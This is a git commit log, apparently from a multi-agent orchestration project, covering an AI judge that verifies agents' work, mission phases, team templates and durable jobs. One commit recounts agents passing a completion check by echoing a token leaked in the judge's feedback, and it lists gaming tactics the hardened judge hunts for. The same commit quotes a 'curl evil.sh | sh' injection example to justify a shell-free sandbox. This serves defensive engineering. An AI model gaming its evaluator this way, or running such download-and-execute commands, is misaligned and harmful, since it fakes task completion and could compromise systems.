ever wrote; the diffstat and base sha go there. No migration needed — `kind` is unconstrained TEXT and the column already exists. Tests run against a real `git init` repo rather than a mock: every bug in this area so far came from git behaving differently than assumed, and a fake git would have agreed with the assumption. `capture_phase_diff_at` takes explicit paths so parallel tests cannot race through the process-global CLAWMATES_MISSIONS_ROOT — the first version of these tests did exactly that and two of four failed non-deterministically. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
c812b714f4 |
fix(evaluator): the verification sandbox never ran a command
`evaluator_tools::Sandbox::run` shelled out to `tokio::process::Command::new
("docker")`. The server image installs `git ca-certificates chromium
fonts-liberation` and nothing else, so in production every verification
command failed to spawn.
The failure was invisible in the worst way. `Sandbox::run` deliberately turns
execution failures into evidence text rather than errors, so a judge reasons
about "that command did not run" instead of the pass collapsing. With no
`docker` binary every command returned COULD NOT RUN, the judge correctly
concluded it could not verify, and fail-closed returned "not met". The
verdicts were right. The verification never happened — and the adversarial
validation that appeared to prove the feature working proved fail-closed
working instead.
The second defect made it worse: `checks` recorded the *attempt*, pushed
before the command ran, so a verdict reached with a dead sandbox reported
"verified by 10 checks" — a stronger claim than "no checks at all", made on
weaker evidence.
- New `container_exec` routes execution through the Docker API via bollard,
which was already a dependency and already reaches the daemon through the
socket proxy. Captures the exit code (absent from the old helper) and keeps
stdout and stderr apart (`LogOutput`'s Display merged them, which is why
nothing downstream could tell JSON from a progress bar). `security_scan`
parses stdout alone; `benchmark_runner` needs both.
- `ExecOutput::success()` requires `Some(0)`. An unreadable status is not
success — `commit_policy = "on_green_tests"` will gate on this, and
"unknown" reading as "green" would push untested work.
- `Sandbox::run` returns a `CheckOutcome` carrying `ran`/`refused`/
`exit_code`. `Verdict::verified_checks()` counts executions, not attempts.
- The UI gains a third state: "could not verify (N attempted, 0 ran)" —
precisely the case that used to render as verified.
- Regression tests reproduce the production shape: two checks recorded,
neither executed, `was_verified() == false`; plus a failing suite (exit 101)
still counting as verification, because that is something the judge learned
rather than was told.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
3eb89620e7 |
feat(evaluator): verify the work instead of believing the agents
Mission 019fbb63 was judged complete on its second pass without any work being done. The condition required a literal token; pass 1's verdict said the token was missing; that text was handed to the agents verbatim; an agent printed the token. Every step behaved as designed, and the result was a phase marked done on a copy-paste. Two separate defects. **The judge could only read claims.** It now gets a checkout and one tool: `run_check`, an argv array executed by `docker exec` with no shell anywhere. That is structural — with a shell, an allow-list on the program name is decorative, since `git status; curl evil.sh | sh` passes any prefix check; without one, metacharacters are inert bytes in argv. Also: allow-listed programs, read-only git subcommands only (a judge must not be able to `git checkout` away the work it is judging), no absolute paths or `..`, a deadline, and head-and-tail output clamping so failures survive truncation. The verifying prompt is adversarial by design — it looks for tests weakened or deleted, assertions rewritten to match wrong output, values hard-coded or printed rather than produced, and success claimed with no matching git diff. Phases with no checkout keep the evidence-only prompt, which states plainly that verification is impossible there; a judge told it can check something it cannot will claim it did. **The feedback handed over the answer.** `Verdict` splits into `reason` (operator; quotes freely) and `guidance` (agents; sanitized). `sanitize_guidance` redacts identifier-shaped tokens from the condition unless the agents already produced them, so prose feedback survives and magic strings do not. `latest()` returns guidance, with a test that fails if it regresses to `reason`. The next-pass brief now also states that output which merely looks like it satisfies the check fails the pass. Redaction is the backstop; running the tests is the defence. - migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API and the UI, so an operator can see "verified by 3 checks" versus "from agent claims only" rather than having to guess which kind of verdict they have. - `complete_direct` deleted — `judge_with_tools` covers the no-tools case. - 23 evaluator tests, including the incident replayed as a regression. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
f848248fac |
feat(missions): goal conditions and phase iteration, judged on the subscription model
A phase used to complete when its topology_runs reached a terminal state --
purely structural. It marked itself done whether the agents produced the
artifact or wrote nothing at all, and it ran exactly once: execute_resumable's
skip(start) is resume, not repeat, and the only re-run path was a human
hitting the retry endpoint.
A phase can now carry `done_when`, a completion condition judged after each
pass against the evidence the agents actually surfaced. Not met and passes
remain -> the phase goes back to pending with iteration bumped, and the
verdict's reason is appended to the next pass's task text. That feedback is
what makes iteration converge rather than repeat -- the same mechanism /goal
uses, and that swarm.rs already uses for rejected work.
The evaluator runs on the SUBSCRIPTION model. CLAWMATES_EVALUATOR_MODEL
defaults to judge_model(), and a `runtime:<alias>` spec routes through
ZeroClawDriveExecutor -- a container agent on claude_cli, i.e. Claude Code on
the OAuth subscription, needing no platform API key. Same routing the door
governor uses.
Two deliberate departures from the governor's contract, both required:
- FAIL-CLOSED. Runtime::judge is fail-open and reads a verdict by
!contains("DENY"), so a model explaining why it *would* deny reads as
approval and an empty reply reads as approval. For completion that is
backwards: unsure must mean not done. The contract is swarm.rs's strict
JSON {"met","reason"} with .unwrap_or(false). Six tests cover the closed
paths -- prose, empty, missing field, non-boolean, transport error.
- judge_raw returns the raw reply; judge collapses to a bool too early to
carry a structured verdict.
Iteration scoping is the subtle part and has its own test: on pass 2 the
phase's own iteration is 1 but pass 1's completed run is still in the table,
so "are this phase's runs all finished?" must ask about the CURRENT pass or
that stale row closes out pass 2 the instant it is enqueued.
Evidence comes from phase_summarizer::collect_evidence, extracted from the
existing collect_material so the evaluator and the summary card cannot
disagree about what a phase produced.
done_when/max_iterations are promoted from phase config into columns (the
sweep filters on them every tick) and max_iterations is clamped to 20 at
insert -- the UI limits it too, but a runaway loop must not be one crafted
request away.
A phase with no condition completes exactly as before; that regression guard
is the first test in the file.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
Omar Sobh
|
f0dd0147f6 |
templates: 5 research team templates + category filtering
Adds the operator's five categorized research team archetypes:
1. codebase_research — code archeologist, architecture mapper,
flow tracer, vault scribe. Produces Obsidian vault entries
under Codebases/<repo>/ that make future missions faster.
2. papers_research — domain scout, paper reader, library curator.
Pulls arXiv / Semantic Scholar / conference proceedings, keeps
a structured local library under Papers/<topic>/.
3. insight_research — implementation tracker, novelty hunter,
publication drafter. Bidirectional loop that spots
publication-worthy novelty in our own implementations of
external papers.
4. continuous_research — signal harvester, ranker, digest writer.
Standing sweep of RSS + arXiv daily + GitHub trending; produces
a rolling ContinuousResearch/<date>/digest.md.
5. continuous_improvement — brain inspector, improvement proposer,
improvement evaluator. Standing self-audit that files level-up
proposals for the operator to review + measures the outcome.
Each template ships with role system_prompts + brain_seeds authored
in the same voice as the existing backend/frontend/etc templates —
evidence-first, redlines called out, no invention.
Schema + code:
- 0057_team_templates_category.sql — new column with
CHECK (research | development | security | ops). Existing rows
default to 'development'.
- team_templates::UpsertBuiltin + TeamTemplate carry category
(with default_category = 'development' fallback for
Serialize/Deserialize compatibility).
- team_template_loader reads `category = "..."` from the TOML;
absent defaults to 'development' so old templates keep working.
- Wizard step 3 filters:
Research teams panel → templates.filter(t.category==='research')
Development teams panel → templates.filter(t.category==='development')
Operator can no longer accidentally pick backend as their
"research team".
Test fixture updated with category="development".
The templates ship in the server image via the existing
`COPY templates /etc/clawmates/templates` line — no Dockerfile
change needed.
|
||
|
Omar Sobh
|
abe5b0ca54 |
test: fix assertion string for new on_launch error message
Multi-team refactor changed the error text from 'no team_id and no team_template_id' to 'no team_template_id and no config.phase_teams'. Assertion now just checks both key phrases. |
||
|
Omar Sobh
|
0ee689f590 |
missions: hard-require team template — block empty-team launches
Root-cause fix for the "mission runs with zero agents" bug. Three
enforcement layers now guarantee a launched mission has a team:
1. mission_orchestrator::on_launch — the previous
\`return Ok(None)\` when both team_id and team_template_id are
None is now \`return Err(...)\`. That branch was never a real
"auto-provision later" path; it was a silent no-op that let
the mission flip to running with nothing to run.
2. routes::missions::set_status — the draft→running transition
now (a) rejects with 400 when team_id + team_template_id are
both null, and (b) runs on_launch BEFORE flipping status +
returns 500 on failure. No more orphan "running" missions
with no materialization.
3. MissionWizard step 3 — removed the misleading "LLM
auto-provision" tile (fake code path). First real template is
pre-selected on mount; canNext requires teamTemplateId set;
empty state surfaces a red warning if no templates loaded.
4. MissionCanvas Launch button — disabled with a "No team" label
and explanatory tooltip when the mission has neither team_id
nor team_template_id (defense-in-depth for legacy rows or
direct-API missions).
Also flipped the mission_orchestrator test that expected
Ok(None) → now expects a specific error message.
Prod cleanup: reset the stuck mission
019f814c-d36f-7d60-8915-1ce100683133 (running with team_id=NULL) back
to draft so the operator can delete or attach a template.
Verified: cargo check --workspace + tsc + eslint all green;
mission_orchestrator test updated to match new contract.
|
||
|
Omar Sobh
|
d8c8793c4a |
ci fixes: cargo fmt, eslint entities, max-lines split
CI on
|
||
|
Omar Sobh
|
2b3ec27757 |
herdr phase 1c: wizard runtime picker + on_launch auto-dispatch
Closes the operator loop for the second-runtime path. Missions
created with runtime='local_herdr' now spawn a Herdr pane on their
target_node automatically on draft→running.
Frontend (MissionWizard):
- Step 4 grows a "Runtime" section above Schedule
- Radio: "Hosted (ZeroClaw)" default | "On a fleet node (Herdr)"
- Local-Herdr shows a dropdown of ONLINE nodes only (from
/api/nodes filtered by status='online')
- canNext blocks Next when local_herdr picked without a node
- Review step shows "Runtime: Herdr on <node-name>" or "Hosted"
- Empty-online-nodes state hints "Connect one from INFRA first"
Backend:
- mission_orchestrator::on_launch grows a NodeHub param; when
mission.runtime_kind='local_herdr' + target_node_id set +
hub present → calls fleet_herdr::dispatch(). Non-fatal:
logs and continues so a research_only mission with a Herdr
runtime chosen accidentally still boots the team.
- routes::missions::set_status passes state.node_hub through.
- Test call sites updated to pass None for the new param
(integration tests don't drive real fleet nodes).
CLI stub: on_launch currently hard-codes cli="claude" for the
Herdr pane. Phase 4 will read that from the team template so a
research team → kimi, gpu team → claude, etc.
Verified: cargo check --workspace + cargo test
-p cm-api --test mission_orchestrator + tsc --noEmit all green.
|
||
|
Omar Sobh
|
74ee990d7e |
tests: integration coverage for mission_orchestrator::on_launch
Real-Postgres end-to-end test locking in the missions arc's
draft→running orchestration contract. Three scenarios:
- on_launch_materializes_team_from_template — a mission with a
team_template_id and no team_id materializes exactly one member
per role, stamps template lineage onto the team row (template_id,
template_version, risk_profile, mcp_bundles), records
agent_template_link per claw, wires team_members, and binds
team_id back onto the mission.
- on_launch_is_idempotent — second invocation returns the same
team_id, no duplicate agents.
- on_launch_no_template_returns_none — mission with no template
and no team leaves the mission untouched (returns Ok(None)).
Uses cm-testkit's per-process Postgres testcontainer, so runs in CI
without any external infrastructure. Brain seeding is expected to
warn-and-continue in the sandbox (read-only FS for the HDF5 mkdir);
the mark_seeded assertion was intentionally dropped — the contract
the test locks in is "link row exists," not "seeding succeeded on
this specific filesystem."
Closes task #24.
|
||
|
Omar Sobh
|
fdb8cfeecc |
slice 9 cleanup: drop legacy research/loops backend + tables
Retires the legacy research/loops backend after the missions arc
(slices 1-9) fully replaced it. Frontend cutover was 4663348; this
commit finishes the job on the backend + database.
Migration:
- 0053_drop_legacy_research_loops.sql — drops the 8 legacy tables
(research_topics, research_topic_agents, research_outcomes,
research_publish_approvals, loops, loop_agents, loop_orgs,
loop_teams) and the 3 topology_runs FK columns
(research_topic_id, loop_id, iteration). parent_run_id stays;
recursive_exec still uses it.
Files deleted (11):
- crates/cm-api/src/routes/{research,loops,research_setup,
research_pipeline,wizard_repo,probe}.rs
- crates/cm-api/src/research_container.rs
- crates/cm-db/src/repo/{research_topics,research_outcomes,
research_publish_approvals,loops}.rs
- crates/cm-runtime/src/loops.rs
- crates/cm-api/tests/research_publish_role.rs
Files edited:
- crates/cm-api/src/lib.rs — dropped 20 legacy route registrations
(all /api/research/* + /api/loops/* + /webhooks/loops + probe)
and module decls
- crates/cm-api/src/topology_worker.rs — deleted legacy dispatch
(freeze_research_outcome, advance_loop_after_completion,
continue_initial_burst, maybe_transition_research_topic,
parse_reorder_rationale, per-topic/loop gateway resolver).
reap_stuck_runs now keys on mission_id (not topic_id).
Executor path unconditionally uses ZeroClawDriveExecutor::from_env
— mission_orchestrator provisions each claw as an agent inside
the shared runtime via RuntimeProvisioner, so per-team gateway
resolution is no longer applicable.
- crates/cm-api/src/routes/topology.rs — deleted container-log SSE
endpoint (research/loop-specific), dropped loop_id filter and
iteration field from ListRunsQuery/RunSummary
- crates/cm-api/src/routes/world.rs — removed
active_research_topics/active_loops/preseed_repo_paths;
World SSE no longer emits repo:{topic}/loop:{id} landmark orbs
(follow-up task #21 tracks adding mission:{id} equivalents)
- crates/cm-api/src/runtime_provision.rs — removed now-unused
mint_workspace_service_token
- crates/cm-db/src/repo/topology_runs.rs — removed 9 legacy
helpers (research_topic_id lookup, loop_id_for_run,
iteration_for_run, active_runs_for_research_topic, etc.)
- crates/cm-db/src/repo/teams.rs — removed 4 dead helpers
(team_for_loop, team_for_research_topic + setters)
- crates/cm-api/tests/topology_jobs.rs — removed loop/topic
tests, dropped enqueue_run_with_topic helper
- crates/bins/clawmates-server/src/main.rs — removed
spawn_loop_scheduler call
- crates/cm-api/src/routes/mod.rs, crates/cm-db/src/repo/mod.rs,
crates/cm-runtime/src/lib.rs — module decls stripped
sqlx cache: regenerated against post-migration schema
(71 files changed, ~+70 / -8896 net)
Test/build: SQLX_OFFLINE=true cargo check --workspace clean;
cargo test --workspace --no-run clean.
Follow-up (task #21): World view lost the in-flight-work landmarks
when repo:{topic} / loop:{id} orbs disappeared. Add mission:{id}
orbs as the missions-era replacement.
|
||
 osobh
|
1cb643142c | research/publish: gate approve+reject on Owner role (#4) | ||
|
Omar Sobh
|
dd791061ee |
test(topology_jobs): seed research_outcome so transition test matches new invariant
Commit
|
||
|
Omar Sobh
|
7984e65174 |
research_topics::create: bag 8 args into a NewTopic struct (fixes clippy)
The prior signature took (pool, workspace_id, title, description, outcome_kind, topology_kind, repo_id, created_by) — 8 args, one over the clippy::too_many_arguments ceiling and blocking CI. Refactor to a NewTopic<'a> input struct mirroring the NewLoop / NewSubTopology pattern the codebase already uses. Wizard-side additions like a repo commit branch land as struct fields instead of cascading into every call site. |
||
|
Omar Sobh
|
3465bb7a6d |
research: persist bound repo + shallow-clone on start_topic
This is the minimum viable version of the "agents actually work on
a repo" architecture. Full vision (isolated ZeroClaw container per
topic, dynamic agent provisioning inside, pause/resume, commit
gate) is real weeks of work — this closes the first, most-visible
gap so the ClawHDF5 topic can actually run against its codebase.
Backend
- Migration 0037: research_topics gets repo_id UUID (nullable, FK
to repos ON DELETE SET NULL) and repo_workspace_path TEXT for
the on-disk checkout location. Index on repo_id when set.
- research_topics::create takes repo_id: Option<Uuid>. get + list
select it and repo_workspace_path. set_repo_workspace_path
persists the path once the first clone lands.
- CreateTopicRequest accepts `repo: Option<TopicRepoRef>` — the
same denormalized shape the wizard already sends. Only repo_id
is authoritative; other fields are ignored (dead_code-allowed
so serde still deserializes the full body).
- start_topic branches on topic.repo_id. When set, it calls
ensure_repo_workspace:
· resolves repo.clone_url + repo.default_branch
· target path = CLAWMATES_RESEARCH_WORKSPACE_ROOT
// <topic_id> // repo (defaults under $TMPDIR)
· runs `git clone --depth 1 --single-branch --branch <b>` via
tokio::process. Reuses the checkout if .git already exists.
· persists the path so re-starts skip the clone
· runs `git ls-files` to sample the tree (first 60 entries,
total count reported honestly so the prompt doesn't lie
about coverage)
All best-effort — a clone failure logs but still starts the run
without repo context rather than aborting.
- build_coordinator_task takes Option<&RepoContext>. When present,
the framing gets a REPO block (slug / path / branch / file
sample) and a USING THE REPO section instructing the coordinator
to ground every recommendation in a concrete file reference and
never fabricate paths. The per-topology bodies are unchanged —
the repo guidance sits above them so it applies to every shape.
What this unblocks / doesn't unblock
Unblocks: The coordinator prompt now knows the repo exists, where
it lives on disk, and what's in it. Even without file-editing
tools wired to the checkout, the coordinator can point spokes at
concrete modules and the final artifact can reference real files.
For a spec-shaped outcome like ClawHDF5's, that's the difference
between abstract advice and a spec grounded in the actual crates.
Does NOT unblock: The agents themselves editing files, running
tests, or committing. That requires either mounting the checkout
into the ZeroClaw sandbox or exposing a new MCP tool for
repo-scoped file ops — separate follow-up.
|
||
|
Omar Sobh
|
a2d3d85ebe |
research pipeline v2: topology-aware start + persisted draft
Three connected changes that turn "Start research" from a status flip into a real pipeline that produces a reviewable artifact: - Migration 0036: adds research_topics.topology_kind (default 'hub_spoke') and a new research_outcomes table (id, topic_id, version DESC, body_md, produced_by_run_id, created_at) so each run's final synthesis is versioned and persistent. - Wizard now has a topology picker in the Outcome step — hub_spoke / pipeline / hierarchical / star_moe — with copy that steers users to the right shape (Pipeline for research → distill → analyze → implement rosters, hub_spoke for the coordinator- and-specialists default). - start_topic reads the chosen topology_kind, parses it into a cm_topology::TopologyKind, and dispatches a per-shape coordinator prompt via build_coordinator_task. Pipeline explicitly tells stage 1 not to write the final artifact and propagates a "final stage MUST emit a complete markdown document with measurable acceptance criteria" instruction downstream. The graph builder is called with the topology the user actually picked instead of hard-coded HubSpoke. - topology_worker::freeze_research_outcome fires after every successful complete(). It looks up research_topic_id on the run; if set and final_output is non-empty, it inserts a new research_outcomes row (version auto-derived server-side via coalesce(max(version), 0) + 1). Best-effort — a DB hiccup logs but doesn't fail the run. - TopicDetail now includes topology_kind and latest_outcome. ResearchCanvas swaps in the outcome's body_md (rendered as pre-wrap markdown, versioned header, produced-at timestamp) whenever an outcome exists; the original prompt collapses into an "Original prompt" <details> below so it's still one click away. Pre-run topics still show the description as before. Follow-ups still open: reject-with-revision loop feeding the coordinator, publishing → published transition + real artifact export (md / pdf), and an approvals inbox surface for reviewers. |
||
|
Omar Sobh
|
806ba869e5 |
teams: ephemeral lifecycle for Scheduled + Triggered planner modes
Migration 0033: adds teams.lifecycle ('permanent' | 'ephemeral') and a
topology_runs.team_id back-ref with a partial index for the sibling-in-
flight check.
cm-db repo:
- teams::insert_team_with_lifecycle (insert_team keeps the permanent default)
- topology_runs::enqueue_run_for_team (populates team_id)
- topology_runs::check_ephemeral_teardown — atomic SELECT that only
returns Some when the team is ephemeral AND no siblings are still
queued/running; carries the workspace + bound claw ids for cleanup.
cm-api:
- topology_worker post-terminal hook maybe_teardown_ephemeral_team
runs deprovision_claw on each bound claw (best-effort; failures log
but don't block Postgres deletion), then hard_purge each agent row,
then delete_team.
- routes::teams::build_team_with_lifecycle (build_team keeps default);
run_team enqueues with team_id.
- planner ScaffoldRequest gains mode; lifecycle_for(mode) sets the team
to ephemeral for scheduled + triggered, permanent otherwise.
Frontend MasterPlannerModal passes mode in the scaffold payload so the
backend can derive lifecycle without duplicating the mode taxonomy.
Tests: 3 new (returns claws when no siblings, holds when siblings queued,
ignores permanent teams). 10/10 topology_jobs green; workspace clippy
--tests clean.
|
||
|
Omar Sobh
|
8a4e222aec |
research: auto-transition processing → reviewing on last run
Hooks the topology_worker's post-terminal path into a new notify_run_completed repo helper that atomically transitions the topic processing → reviewing when the completed run has research_topic_id set AND no siblings for that topic are still queued or running. Guarded on status='processing' so a retry, a re-fire, or a topic already past processing are all no-ops. Best-effort at the worker; DB hiccups are logged and never fail the run. The manual /submit-review endpoint stays as an escape hatch for topics that end up parked in processing with nothing to complete (updated the doc comment). |
||
|
Omar Sobh
|
6d1dda6197 |
loops: iteration timeline — GET /api/topology-runs?loop_id=X
Extend the topology-runs list route with an optional loop_id filter that returns iterations for a single loop, newest-iteration-first. Adds the iteration and finished_at columns to the summary (skip-null on the JSON so compares stay compact). Backed by list_by_loop in the repo, which uses the existing topology_runs_loop_idx partial index. LoopsCanvas fetches the runs in parallel with the loop detail and renders an iteration timeline card (iteration #, status pill, start time, duration, run id prefix) between the graph section and the actions row. |
||
|
Omar SobhandClaude Opus 4.8
|
e61724ff82 |
Agent computer: terminal (tmux + drives + tabs), Obsidian vault, UI polish
Terminal app (xterm ⇄ WebSocket ⇄ per-agent themed container):
- zsh + oh-my-zsh + powerlevel10k image (agent-terminal), runs as uid 65532 to
share read-write ownership of the file-drive volume with the server.
- Interactive PTY in cm-sandbox (bollard exec tty/attach + resize) + a
TerminalManager; ticket-authed WS bridge routed straight to the backend via a
Traefik PathRegexp(/ws) rule. MOTD greets the user by name.
- tmux resumable sessions; multi-tab (one tmux session per tab, same container),
drag-to-reorder, rename, and a Save that persists named tabs to the server
(terminal_tabs, migration 0014) so they survive logout / a new device.
- Files drives mounted per-agent (subpath) at ~/drives/{documents,received,
shared}; a reconciler keeps the Files app's index in sync with terminal writes.
Storage moved to a shared `filedata` volume (CLAWMATES_STORAGE__DATA_DIR).
Obsidian vault (a markdown "second brain" per agent):
- New `vault` FileDrive (migration 0015) mounted into the terminal at ~/obsidian;
a file-content read route; a purple Obsidian tile + a vault viewer app.
Computer UI:
- Draggable computer-panel width (min = phone preset) keeping the size presets.
- Green Terminal glyph, "Claw Chat" → "Chat", colored gradient-outline app icons.
- Agent page: avatar↔activity-grid spacing + larger, uniform section fonts with
colored section-tinted tag chips.
Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
|
||
|
Omar SobhandClaude Opus 4.8
|
3eca4ed70c |
Recursive deploy ladder: Company + Org tiers, mesh mark, two-tier rail
Completes the scale ladder (single → team → company → org). Every tier is a
topology whose nodes are the tier below; running a parent recursively runs each
child's sub-topology down to the leaf claws.
Backend:
- migration 0011: companies/company_teams, orgs/org_companies, topology_runs.tier
- cm-db repos for companies + orgs (mirror teams)
- TurnRequest.attrs (forwarded from node.attrs) for child-id binding
- SubTopologyExecutor (recursive_exec.rs): a parent "turn" runs the child's
sub-topology; durability via parent updated_at keepalive + cancel propagation
+ depth cap; boxed future breaks the org→company recursion
- topology_worker selects executor by job.tier
- routes: /api/companies, /api/orgs (create/list/get/run) + unified
/api/structure/{level}/{id} for the zoom canvas
Frontend:
- MeshMark: node-mesh brand glyph (replaces the claw PNG), tier variants
- TopologyGraphView: optional onNodeClick/nodeMeta + dark-token theming
- StructureCanvas + Breadcrumb: one recursive zoom view for every tier
(drill down on node click, breadcrumb up); TeamRunPanel extracted + shared
- two-tier Discord-style rail: StructureRail (mesh mark + org/company/team
glyphs + tools popover + deploy + user) | RosterColumn (selected group's
children, or your claws); SecondaryNav for cross-cutting tools
- ComposeWizard (company/org) wired into DeployWizard; /companies + /orgs pages
Co-Authored-By: Claude Opus 4.8 <[email protected]>
|
||
|
Omar SobhandClaude Opus 4.8
|
6e87433c66 |
Close gaps: GLM-judge (anthropic registry) + run cancel + deep-link
#2 GLM judge (closes #114): registry NamedProvider gains a `format` field; build_provider_registry builds an AnthropicProvider for format="anthropic". GLM's coding/OpenAI endpoint is ToS-throttled for raw SDK, but its Anthropic endpoint (api.z.ai/api/anthropic) accepts raw API calls (verified x-api-key -> glm-4.7), so CLAWMATES_JUDGE_MODEL=glm:glm-4.7 routes the door governor / topology judge through GLM with no runtime-routing. (Kimi-as-judge still needs a Platform key — coding key is agent-only.) #3 run-control: POST /api/topology-runs/{id}/cancel (workspace-scoped, queued/running only); the worker honors it at the step boundary (checks current_status in the checkpoint callback) and won't clobber a cancel with `failed`. Frontend Run tab gains a Cancel button and clickable recent runs that deep-link into a live/replayed stream (SSE replays from checkpoint). cm-* tests (incl. new cancel test) + clippy + frontend lint/typecheck green. Co-Authored-By: Claude Opus 4.8 <[email protected]> |
||
|
Omar SobhandClaude Opus 4.8
|
272669e1f5 |
Durable topology jobs (3+4/4): background worker + async run API
POST /api/topologies/run now ENQUEUES a durable job and returns 202
{run_id, status:queued} instead of executing inside the HTTP request — the
prerequisite for long-horizon runs (no client/proxy/LB timeout, survives
restarts).
topology_worker: a spawned loop that requeues stale running jobs, claims the
next queued one (CAS via FOR UPDATE SKIP LOCKED), drives it through
execute_resumable, and checkpoints RunProgress after every step; on crash the
stale sweep requeues it and the next claim resumes from the last checkpoint.
Wired into server startup beside the scheduler + resume sweeper.
GET /api/topology-runs/{id} now reports lifecycle status/kind/error/checkpoint
+ the result blob (kept the `comparison` field name for back-compat with the
compare UI; null until completed). list_runs includes status + kind.
Tests: durable lifecycle (enqueue→claim→checkpoint→complete) + stale-requeue
resume, both green; p0 endpoints (compare path) unchanged. 13 + 2 tests pass,
clippy clean.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
|
||
|
Omar SobhandClaude Opus 4.8
|
8dee01c77b |
Durable topology jobs (1/4): job-table schema + repo
Evolve topology_runs into a durable-job table (migration 0009): status state machine (queued/running/completed/failed/cancelled), kind, input graph, per-step checkpoint, error, last_event_id, timestamps. comparison becomes nullable (the result blob, absent until completion). Back-compat: existing rows default to completed/compare. cm-db repo gains the durable-job ops: enqueue_run, claim_next_queued (CAS via FOR UPDATE SKIP LOCKED), checkpoint, complete, fail, requeue_stale (resume sweep), and status(). Regenerated .sqlx cache. Also fix two pre-existing test RuntimeConfig literals missing the providers field (from the registry work). Co-Authored-By: Claude Opus 4.8 <[email protected]> |
||
|
Omar SobhandClaude Opus 4.8
|
7baf2082d0 |
feat(topology): persist comparison runs + history
Save each comparison and let users reload past ones.
- migration 0008: topology_runs (workspace-scoped; full comparison as JSONB).
- cm-db repo::topology_runs (insert / list_recent / get) + regenerated .sqlx.
- cm-api: compare persists best-effort (never loses the LLM result on a DB
hiccup); GET /api/topology-runs (recent) + GET /api/topology-runs/{id}.
Integration test asserts persist → list → get.
- frontend: "Recent comparisons" list on the Compare tab; click to reload a
saved run. e2e p8 green (39 suite); offline build + clippy clean.
Server self-migrates at boot (cm_db::MIGRATOR), so 0008 applies on deploy.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
|
||
|
Omar SobhandClaude Opus 4.8
|
a35c82d860 |
feat(api): POST /api/topologies/compare (provider-backed)
Run a task across topologies via the API and return a leaderboard + quality/cost Pareto front. The handler builds a ProviderExecutor + JudgeScorer over the runtime's configured provider/model, then calls cm_orchestrator::compare. - cm-runtime: expose provider()/model()/max_tokens() accessors on Runtime. - cm-api: depend on cm-orchestrator (provider feature); add the compare route. - Integration test runs a 2-topology comparison through the real server (scripted provider) → 200 with results + leaderboard. 4 topology tests green; offline build + clippy clean. The topology endpoints (catalog/classify/build/compare) ship to gw-04 with the upcoming ReactFlow UI in one server+frontend redeploy. Co-Authored-By: Claude Opus 4.8 <[email protected]> |